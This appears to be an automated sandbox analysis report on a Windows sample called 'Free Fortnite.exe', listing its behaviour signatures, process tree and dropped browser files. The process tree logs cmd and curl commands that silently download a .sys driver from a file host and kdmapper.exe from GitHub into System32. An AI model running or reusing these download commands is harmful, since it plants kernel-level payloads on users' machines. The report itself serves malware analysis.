Analysis

  • user interaction
    yes
  • max time kernel
    14s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/07/2026, 11:15

General

  • Target
    Free Fortnite.exe
  • Size 782KB
  • Sample260703-ncwsyscy6m
  • SHA256 9c0cbb73d45a95e15e2a90a4384157ae37db7d0610fdd4d8a6eda4ae05d2037b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10

Malware Config

Signatures

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Free Fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\Free Fortnite.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/bestcheat
      2⤵
      • Enumerates system info in registry
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffccf63c188,0x7ffccf63c194,0x7ffccf63c1a0
        3⤵
          PID:3676
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1948,i,1794519054208378956,6043650029880663635,524288 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=2388 /prefetch:3
          3⤵
          • System Time Discovery
          PID:2460
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,865811926960689676,10481916993662095483,262144 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
          3⤵
            PID:2312
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2628,i,6739049246934245412,7460797270537158023,524288 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:8
            3⤵
              PID:4392
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3516,i,12905628628888548412,10583649586476696392,2097152 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
              3⤵
                PID:4052
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3520,i,15259721612686227993,16677612084073454664,2097152 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:1
                3⤵
                  PID:4596
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,9222611109347040325,15387744648250955066,2097152 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
                  3⤵
                    PID:564
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,3041241645051299562,16184259123953985859,2097152 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:2
                    3⤵
                      PID:4712
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3752,i,8415775047460987379,10114707538511285255,524288 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:8
                      3⤵
                        PID:3980
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3704,i,16441204908913945748,5979662831737025392,524288 --field-trial-handle=2332,i,1612162017923136554,1396566831434231407,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:8
                        3⤵
                          PID:2272
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c cls
                        2⤵
                          PID:772
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c cls
                          2⤵
                            PID:504
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:688
                            • C:\Windows\system32\curl.exe
                              curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
                              3⤵
                                PID:4292
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4032
                              • C:\Windows\system32\curl.exe
                                curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
                                3⤵
                                  PID:1848
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                              1⤵
                                PID:3708

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    settings.dat

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                    • Size 280B
                                    • SHA256 92b83a0e542b7bb3ed324c35b5f2a40c47a6351981065b804e4d9d80ddd6d7ee
                                    • MD5 SHA1 SHA512 TLSH

                                    settings.dat

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                    • Size 280B
                                    • SHA256 a31d8d87abf7db54e5af159959ffb39655ef3b9838cf4cf3862ab9032cffa32f
                                    • MD5 SHA1 SHA512 TLSH

                                    BookmarkMergedSurfaceOrdering

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                    • Size 6B
                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                    • MD5 SHA1 SHA512

                                    the-real-index

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                    • Size 3KB
                                    • SHA256 c9f721726a5406b70a26b417b999eb3e0090d5f5ce6a3723b1e882cb6370a54f
                                    • MD5 SHA1 SHA512 TLSH

                                    66104400-ee0c-45c1-9620-2b11d5e80273.tmp

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\66104400-ee0c-45c1-9620-2b11d5e80273.tmp
                                    • Size 2B
                                    • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                    • MD5 SHA1 SHA512

                                    Edge Profile.ico

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                    • Size 70KB
                                    • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Network Persistent State

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                    • Size 1KB
                                    • SHA256 594aecb3e932bd94b57760aecdc17798563625e72169c74860e8c02a6ae071d8
                                    • MD5 SHA1 SHA512 TLSH

                                    SCT Auditing Pending Reports

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                    • Size 2B
                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                    • MD5 SHA1 SHA512

                                    Preferences

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                    • Size 10KB
                                    • SHA256 b2bcfbbe597674800261a68d3c8af8f896a194f9e417fa2bbf1c122dff32f4be
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Secure Preferences

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                    • Size 27KB
                                    • SHA256 9d6b42a20ef3393102e80a35b099bac135b3e8949de7d5899bded9ea940ed3c0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                    • Size 15KB
                                    • SHA256 0fed165bc5cbd30009421e440268061cb4c63ba3b37f9ea71e558ea30962495a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                    • Size 9KB
                                    • SHA256 12a7275b7470802e68947eef1466819778947659f892926f88db94895e4ece78
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                    • Size 8KB
                                    • SHA256 0a10d0ed43cdb189f38a770947bceacdce4e42950aaf41e89eeadc4d1276166f
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    data_1

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
                                    • Size 264KB
                                    • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                    • MD5 SHA1 SHA512 SSDEEP

                                    bf1b99f3-8ebf-42c4-bcc5-9723eae06179.tmp

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\bf1b99f3-8ebf-42c4-bcc5-9723eae06179.tmp
                                    • Size 13B
                                    • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                    • MD5 SHA1 SHA512